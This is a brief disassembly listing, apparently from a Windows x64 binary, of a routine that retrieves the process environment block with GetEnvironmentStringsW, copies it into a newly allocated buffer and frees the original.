mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14004b8cb
mov rsi, rbx
cmp word [rax], bp
je 0x14004b88a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14004b874
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14004b870
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400490cc
mov rdi, rax
test rax, rax
je 0x14004b8b8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400523d0
mov rbp, rdi
xor ecx, ecx
call fcn.14004749c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret